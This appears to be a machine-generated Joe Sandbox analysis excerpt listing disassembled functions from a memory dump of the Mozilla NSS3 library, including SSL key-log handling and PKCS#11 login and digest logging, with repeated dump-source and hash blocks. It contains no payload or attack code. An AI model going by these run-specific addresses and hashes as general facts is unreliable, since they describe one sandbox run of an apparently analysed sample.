PR_NewLock.NSS3(?,?,6CE776C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE475C2,00000000), ref: 6CE80006
PR_NewLock.NSS3(?,?,6CE776C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE475C2,00000000), ref: 6CE80016
PR_NewLock.NSS3(?,?,6CE776C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE475C2,00000000), ref: 6CE80026
PR_NewLock.NSS3(?,?,6CE776C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE475C2,00000000), ref: 6CE80036
PR_NewLock.NSS3(?,?,6CE776C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE475C2,00000000), ref: 6CE80046
PR_NewLock.NSS3(?,?,6CE776C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE475C2,00000000), ref: 6CE80056
PR_NewLock.NSS3(?,?,6CE776C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE475C2,00000000), ref: 6CE80066
PR_NewLock.NSS3(?,?,6CE776C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE475C2,00000000), ref: 6CE80076
PR_NewLock.NSS3(?,?,6CE776C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE475C2,00000000), ref: 6CE80086
PR_NewLock.NSS3(?,?,6CE776C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE475C2,00000000), ref: 6CE80096
PR_NewLock.NSS3(?,?,6CE776C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE475C2,00000000), ref: 6CE800A6
PR_NewLock.NSS3(?,?,6CE776C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE475C2,00000000), ref: 6CE800B6
PR_NewLock.NSS3(?,?,6CE776C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE475C2,00000000), ref: 6CE800C6
PR_NewLock.NSS3(?,?,6CE776C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE475C2,00000000), ref: 6CE800D6
PR_NewLock.NSS3(?,?,6CE776C8,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE475C2,00000000), ref: 6CE800E6

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Lock$CountCriticalErrorInitializeLastSectionSpincallocfree
String ID:
API String ID: 1407103528-0
Opcode ID: 2b2fc482b67b9d38064e0b726194e582471712fa1df18e025c293007daaee9bc
Instruction ID: b39032d86dc45ee1620796c20c1e0a67357bd8d82e99d1596c75b90530399279
Opcode Fuzzy Hash: 2b2fc482b67b9d38064e0b726194e582471712fa1df18e025c293007daaee9bc
Instruction Fuzzy Hash: 373105F0E617589E8FD9DF6D81487493AB4B716A08720511FD1A487702D77A014ACFD6

Function 6CEC6E90 Relevance: 30.1, APIs: 11, Strings: 6, Instructions: 305fileCOMMON

Download Yara Rule

APIs

PR_GetEnvSecure.NSS3(SSLKEYLOGFILE,?,6CEC6BF7), ref: 6CEC6EB6

Part of subcall function 6CE21240: TlsGetValue.KERNEL32(00000040,?,6CE2116C,NSPR_LOG_MODULES), ref: 6CE21267
Part of subcall function 6CE21240: EnterCriticalSection.KERNEL32(?,?,?,6CE2116C,NSPR_LOG_MODULES), ref: 6CE2127C
Part of subcall function 6CE21240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CE2116C,NSPR_LOG_MODULES), ref: 6CE21291
Part of subcall function 6CE21240: PR_Unlock.NSS3(?,?,?,?,6CE2116C,NSPR_LOG_MODULES), ref: 6CE212A0

fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,6CF6FC0A,6CEC6BF7), ref: 6CEC6ECD
ftell.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CEC6EE0
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(# SSL/TLS secrets log file, generated by NSS,0000002D,00000001), ref: 6CEC6EFC
PR_NewLock.NSS3 ref: 6CEC6F04
fclose.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CEC6F18
PR_GetEnvSecure.NSS3(SSLFORCELOCKS,6CEC6BF7), ref: 6CEC6F30
PR_GetEnvSecure.NSS3(NSS_SSL_ENABLE_RENEGOTIATION,?,6CEC6BF7), ref: 6CEC6F54
PR_GetEnvSecure.NSS3(NSS_SSL_REQUIRE_SAFE_NEGOTIATION,?,?,6CEC6BF7), ref: 6CEC6FE0
PR_GetEnvSecure.NSS3(NSS_SSL_CBC_RANDOM_IV,?,?,?,6CEC6BF7), ref: 6CEC6FFD

Strings

NSS_SSL_CBC_RANDOM_IV, xrefs: 6CEC6FF8
SSLKEYLOGFILE, xrefs: 6CEC6EB1
# SSL/TLS secrets log file, generated by NSS, xrefs: 6CEC6EF7
NSS_SSL_ENABLE_RENEGOTIATION, xrefs: 6CEC6F4F
NSS_SSL_REQUIRE_SAFE_NEGOTIATION, xrefs: 6CEC6FDB
SSLFORCELOCKS, xrefs: 6CEC6F2B

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Secure$CriticalEnterLockSectionUnlockValuefclosefopenftellfwritegetenv
String ID: # SSL/TLS secrets log file, generated by NSS$NSS_SSL_CBC_RANDOM_IV$NSS_SSL_ENABLE_RENEGOTIATION$NSS_SSL_REQUIRE_SAFE_NEGOTIATION$SSLFORCELOCKS$SSLKEYLOGFILE
API String ID: 412497378-2352201381
Opcode ID: 10803a1f37dd08d077c85f88dae021f0f0cddea69af435997e4edd57e05f36fe
Instruction ID: 9a0709c8bd814aa47d38987b60bb677bf0f6233ea57c4badeb292fdb342e53c4
Opcode Fuzzy Hash: 10803a1f37dd08d077c85f88dae021f0f0cddea69af435997e4edd57e05f36fe
Instruction Fuzzy Hash: 55A106B2F6598187EB504F3CCA0139536B5AB97329F384366F831C6FE5DB7594818243

Function 6CE45DB0 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 238memoryCOMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE45DEC
PR_SetError.NSS3(FFFFE0B5,00000000,?,?,?,?,?,?,?,?), ref: 6CE45E0F
PORT_ZAlloc_Util.NSS3(00000828), ref: 6CE45E35
SECKEY_CopyPublicKey.NSS3(?), ref: 6CE45E6A
HASH_GetHashTypeByOidTag.NSS3(00000000), ref: 6CE45EC3
NSS_GetAlgorithmPolicy.NSS3(00000000,00000020), ref: 6CE45ED9
SECKEY_SignatureLen.NSS3(?), ref: 6CE45F09
PR_SetError.NSS3(FFFFE0B5,00000000), ref: 6CE45F49
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CE45F89
free.MOZGLUE(?), ref: 6CE45FA0
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CE45FB6
free.MOZGLUE(00000000), ref: 6CE45FBF
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CE4600C
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CE46079
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE46084
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE46094

Strings

, xrefs: 6CE45EEB

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Util$Item_Zfree$AlgorithmErrorPolicyPublicfreememcpy$Alloc_CopyDestroyHashSignatureType
String ID:
API String ID: 2310191401-3916222277
Opcode ID: 0bbabe3d9f5832d3d6e4b0f7d5886268e55318399a84565b470c930d977e1215
Instruction ID: 9d3315f23c7a079e4758d8ecaddb119f7ab22b4ff5367c92848d6bce6282ef6d
Opcode Fuzzy Hash: 0bbabe3d9f5832d3d6e4b0f7d5886268e55318399a84565b470c930d977e1215
Instruction Fuzzy Hash: 3B81E3B1E012059BDB108B64EC81BAE77B5AF4531CF34C528E91AE7B91E731E815CBD2

Function 6CE66D60 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 119COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Digest), ref: 6CE66D86
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE66DB4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE66DC3

Part of subcall function 6CF4D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF4D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE66DD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6CE66DFA
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6CE66E13
PR_LogPrint.NSS3( pDigest = 0x%p,?), ref: 6CE66E2C
PR_LogPrint.NSS3( pulDigestLen = 0x%p,?), ref: 6CE66E47
PR_LogPrint.NSS3( *pulDigestLen = 0x%x,?), ref: 6CE66EB9

Strings

pulDigestLen = 0x%p, xrefs: 6CE66E42
pData = 0x%p, xrefs: 6CE66DF5
(CK_INVALID_HANDLE), xrefs: 6CE66DBC
ulDataLen = %d, xrefs: 6CE66E0E
hSession = 0x%x, xrefs: 6CE66D9E, 6CE66DAE
C_Digest, xrefs: 6CE66D81
*pulDigestLen = 0x%x, xrefs: 6CE66EB4
pDigest = 0x%p, xrefs: 6CE66E27

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulDigestLen = 0x%x$ hSession = 0x%x$ pData = 0x%p$ pDigest = 0x%p$ pulDigestLen = 0x%p$ ulDataLen = %d$ (CK_INVALID_HANDLE)$C_Digest
API String ID: 1003633598-2270781106
Opcode ID: 29b6a2a7c00544ed94323a3820f5fa0671b7aa3fcf7c16db6a6f5b9e09d86f90
Instruction ID: df1d56bea6cec0aab97a865c89e3eefc445d5ced165c7ed9e804c8c5857b8adc
Opcode Fuzzy Hash: 29b6a2a7c00544ed94323a3820f5fa0671b7aa3fcf7c16db6a6f5b9e09d86f90
Instruction Fuzzy Hash: B0410435A71004AFDF009F55DC49F8A3BB5AF9231CF558028E90897F12DB32D968CB91

Function 6CE69C40 Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 118COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_LoginUser), ref: 6CE69C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE69C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE69CA3

Part of subcall function 6CF4D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF4D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE69CB9
PR_LogPrint.NSS3( userType = 0x%x,?), ref: 6CE69CDA
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CE69CF5
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CE69D10
PR_LogPrint.NSS3( pUsername = 0x%p,?), ref: 6CE69D29
PR_LogPrint.NSS3( ulUsernameLen = %d,?), ref: 6CE69D42

Strings

pPin = 0x%p, xrefs: 6CE69CF0
ulUsernameLen = %d, xrefs: 6CE69D3D
userType = 0x%x, xrefs: 6CE69CD5
(CK_INVALID_HANDLE), xrefs: 6CE69C9C
pUsername = 0x%p, xrefs: 6CE69D24
hSession = 0x%x, xrefs: 6CE69C7E, 6CE69C8E
ulPinLen = %d, xrefs: 6CE69D0B
C_LoginUser, xrefs: 6CE69C61

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ pUsername = 0x%p$ ulPinLen = %d$ ulUsernameLen = %d$ userType = 0x%x$ (CK_INVALID_HANDLE)$C_LoginUser
API String ID: 1003633598-3838449515
Opcode ID: 0bf3d2765b2a724bea94e637c1b5a6a1c72afb4a40bbfa810453da34875a49e9
Instruction ID: 45389a9a67ddb22bc1d1e3f44d5acd786068534eee340003180c90a2d63c7712
Opcode Fuzzy Hash: 0bf3d2765b2a724bea94e637c1b5a6a1c72afb4a40bbfa810453da34875a49e9
Instruction Fuzzy Hash: 5141F331A61004AFDF049F15DD48F8A3BB5AF5231DF598028E90867F12DB328968CB92

Function 6CE21FE0 Relevance: 28.8, APIs: 19, Instructions: 254COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000084,00000001,00000000), ref: 6CE22007
calloc.MOZGLUE(00000001,00000084), ref: 6CE22077
calloc.MOZGLUE(00000001,0000002C), ref: 6CE220DF
TlsSetValue.KERNEL32(00000000), ref: 6CE22188
PR_NewCondVar.NSS3 ref: 6CE221B7
calloc.MOZGLUE(00000001,00000084), ref: 6CE2221C
InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CE222C2
GetLastError.KERNEL32 ref: 6CE222CD
free.MOZGLUE(00000000), ref: 6CE222DD

Part of subcall function 6CE20F00: PR_GetPageSize.NSS3(6CE20936,FFFFE8AE,?,6CDB16B7,00000000,?,6CE20936,00000000,?,6CDB204A), ref: 6CE20F1B
Part of subcall function 6CE20F00: PR_NewLogModule.NSS3(clock,6CE20936,FFFFE8AE,?,6CDB16B7,00000000,?,6CE20936,00000000,?,6CDB204A), ref: 6CE20F25

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: calloc$CondCountCriticalErrorInitializeLastModulePageSectionSizeSpinValuefree
String ID:
API String ID: 3559583721-0
Opcode ID: 73ff9466762f52c4c3fe661fe06f97f0d6eba8cbd9021452d21098f6ffb0ff8c
Instruction ID: c22869d650ec7dbd0e7462df07613fcfba6e135457ea0abed654a914eddea447
Opcode Fuzzy Hash: 73ff9466762f52c4c3fe661fe06f97f0d6eba8cbd9021452d21098f6ffb0ff8c
Instruction Fuzzy Hash: 4D917CB1E217018FEBA49F38CC09B6A7AF4BB1B718F10452EE45AD6A40DB759109CF91

Function 6CF49C60 Relevance: 27.2, APIs: 18, Instructions: 202threadCOMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000080), ref: 6CF49C70
PR_NewLock.NSS3 ref: 6CF49C85

Part of subcall function 6CEF98D0: calloc.MOZGLUE(00000001,00000084,6CE20936,00000001,?,6CE2102C), ref: 6CEF98E5

PR_NewCondVar.NSS3(00000000), ref: 6CF49C96

Part of subcall function 6CE1BB80: calloc.MOZGLUE(00000001,00000084,00000000,00000040,?,6CE221BC), ref: 6CE1BB8C

PR_NewLock.NSS3 ref: 6CF49CA9

Part of subcall function 6CEF98D0: InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6CEF9946
Part of subcall function 6CEF98D0: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CDB16B7,00000000), ref: 6CEF994E
Part of subcall function 6CEF98D0: free.MOZGLUE(00000000), ref: 6CEF995E

PR_NewLock.NSS3 ref: 6CF49CB9
PR_NewLock.NSS3 ref: 6CF49CC9
PR_NewCondVar.NSS3(00000000), ref: 6CF49CDA

Part of subcall function 6CE1BB80: PR_SetError.NSS3(FFFFE890,00000000), ref: 6CE1BBEB
Part of subcall function 6CE1BB80: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,000005DC), ref: 6CE1BBFB
Part of subcall function 6CE1BB80: GetLastError.KERNEL32 ref: 6CE1BC03
Part of subcall function 6CE1BB80: PR_SetError.NSS3(FFFFE8AA,00000000), ref: 6CE1BC19
Part of subcall function 6CE1BB80: free.MOZGLUE(00000000), ref: 6CE1BC22

PR_NewCondVar.NSS3(?), ref: 6CF49CF0
PR_NewPollableEvent.NSS3 ref: 6CF49D03

Part of subcall function 6CF3F3B0: PR_CallOnce.NSS3(6CF914B0,6CF3F510), ref: 6CF3F3E6
Part of subcall function 6CF3F3B0: PR_CreateIOLayerStub.NSS3(6CF9006C), ref: 6CF3F402
Part of subcall function 6CF3F3B0: PR_Malloc.NSS3(00000004), ref: 6CF3F416
Part of subcall function 6CF3F3B0: PR_NewTCPSocketPair.NSS3(?), ref: 6CF3F42D
Part of subcall function 6CF3F3B0: PR_SetSocketOption.NSS3(?), ref: 6CF3F455
Part of subcall function 6CF3F3B0: PR_PushIOLayer.NSS3(?,000000FE,00000000), ref: 6CF3F473

Part of subcall function 6CEF9890: TlsGetValue.KERNEL32(?,?,?,6CEF97EB), ref: 6CEF989E

EnterCriticalSection.KERNEL32(?), ref: 6CF49D78
calloc.MOZGLUE(00000001,0000000C), ref: 6CF49DAF
_PR_CreateThread.NSS3(00000000,6CF49EA0,00000000,00000001,00000001,00000000,?,00000000), ref: 6CF49D9F

Part of subcall function 6CE1B3C0: TlsGetValue.KERNEL32 ref: 6CE1B403
Part of subcall function 6CE1B3C0: _PR_NativeCreateThread.NSS3(?,?,?,?,?,?,?,?), ref: 6CE1B459

_PR_CreateThread.NSS3(00000000,6CF4A060,00000000,00000001,00000001,00000000,?,00000000), ref: 6CF49DE8
calloc.MOZGLUE(00000001,0000000C), ref: 6CF49DFC
_PR_CreateThread.NSS3(00000000,6CF4A530,00000000,00000001,00000001,00000000,?,00000000), ref: 6CF49E29
calloc.MOZGLUE(00000001,0000000C), ref: 6CF49E3D
_PR_MD_UNLOCK.NSS3(?), ref: 6CF49E71
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CF49E89

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: calloc$CreateError$LockThread$CondCriticalSection$CountInitializeLastLayerSocketSpinValuefree$CallEnterEventMallocNativeOnceOptionPairPollablePushStub
String ID:
API String ID: 4254102231-0
Opcode ID: d42d699ad9f63add86b4b9c2479ac011e8524d0e6af96281d45078d24eb0563b
Instruction ID: aa23c3435cd3b0ce4ddcdeb3a712f87c046686b1416b2c25f4c1dddcfd72634a
Opcode Fuzzy Hash: d42d699ad9f63add86b4b9c2479ac011e8524d0e6af96281d45078d24eb0563b
Instruction Fuzzy Hash: 70612BB1A10706AFD714DF75C844AA7BBF8FF09208B14852EE859C7B11EB70E914CBA1

Function 6CE43FF0 Relevance: 27.2, APIs: 18, Instructions: 201memoryCOMMON

Download Yara Rule

APIs

SECKEY_CopyPublicKey.NSS3(?), ref: 6CE44014

Part of subcall function 6CE439F0: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CE45E6F,?), ref: 6CE43A08
Part of subcall function 6CE439F0: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,00000000,00000000,?,?,6CE45E6F), ref: 6CE43A1C
Part of subcall function 6CE439F0: memset.VCRUNTIME140(-00000004,00000000,000000A8,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CE43A3C

PORT_NewArena_Util.NSS3(00000800), ref: 6CE44038

Part of subcall function 6CE90FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE387ED,00000800,6CE2EF74,00000000), ref: 6CE91000
Part of subcall function 6CE90FF0: PR_NewLock.NSS3(?,00000800,6CE2EF74,00000000), ref: 6CE91016
Part of subcall function 6CE90FF0: PL_InitArenaPool.NSS3(00000000,security,6CE387ED,00000008,?,00000800,6CE2EF74,00000000), ref: 6CE9102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028), ref: 6CE4404D

Part of subcall function 6CE910C0: TlsGetValue.KERNEL32(?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE910F3
Part of subcall function 6CE910C0: EnterCriticalSection.KERNEL32(?,?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE9110C
Part of subcall function 6CE910C0: PL_ArenaAllocate.NSS3(?,?,?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE91141
Part of subcall function 6CE910C0: PR_Unlock.NSS3(?,?,?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE91182
Part of subcall function 6CE910C0: TlsGetValue.KERNEL32(?,6CE38802,00000000,00000008,?,6CE2EF74,00000000), ref: 6CE9119C

SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6CF5A0F4), ref: 6CE440C2

Part of subcall function 6CE8F080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6CE8F0C8
Part of subcall function 6CE8F080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE8F122

SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,00000010,00000000), ref: 6CE4409A

Part of subcall function 6CE8BE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CE3E708,00000000,00000000,00000004,00000000), ref: 6CE8BE6A
Part of subcall function 6CE8BE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CE404DC,?), ref: 6CE8BE7E
Part of subcall function 6CE8BE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CE8BEC2

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE440DE
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE440F4
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE44108
SECITEM_CopyItem_Util.NSS3(00000000,?,00000010), ref: 6CE4411A
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,000000C8), ref: 6CE44137
SECITEM_CopyItem_Util.NSS3(00000000,-0000001C,-00000020), ref: 6CE44150
SEC_ASN1EncodeItem_Util.NSS3(00000000,?,-00000010,6CF5A1C8), ref: 6CE4417E
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000004,0000007C), ref: 6CE44194
SECITEM_ZfreeItem_Util.NSS3(00000000,00000000), ref: 6CE441A7
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE441B2
PK11_DestroyObject.NSS3(?,?), ref: 6CE441D9
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CE441FC
SEC_ASN1EncodeItem_Util.NSS3(00000000,-0000001C,00000000,6CF5A1A8), ref: 6CE4422D

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Util$Item_$Arena_$Copy$ArenaFree$AlgorithmEncodeError$Alloc_Value$AllocateCriticalDestroyEnterFindInitK11_LockObjectPoolPublicSectionTag_UnlockZfreecallocmemset
String ID:
API String ID: 912348568-0
Opcode ID: f7d27b8cfb2af6e731c3a7f248220add62c7127739a528d2faab4f0a602d9ea9
Instruction ID: 638b6eb2ea0d5e1626abe0313f90b2f9e931c0e9ceaa7b497ba04c6047839768
Opcode Fuzzy Hash: f7d27b8cfb2af6e731c3a7f248220add62c7127739a528d2faab4f0a602d9ea9
Instruction Fuzzy Hash: CA5108B6B00300ABF7109E25AC41B6776FCDF5124CF74852EE95AD6F42FB31E5148262

Function 6CE88E40 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 198stringmemoryCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_,00000000,00000041,6CE88E01,00000000,6CE89060,6CF90B64), ref: 6CE88E7B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,6CE88E01,00000000,6CE89060,6CF90B64), ref: 6CE88E9E
PORT_ArenaAlloc_Util.NSS3(6CF90B64,00000001,?,?,?,?,6CE88E01,00000000,6CE89060,6CF90B64), ref: 6CE88EAD
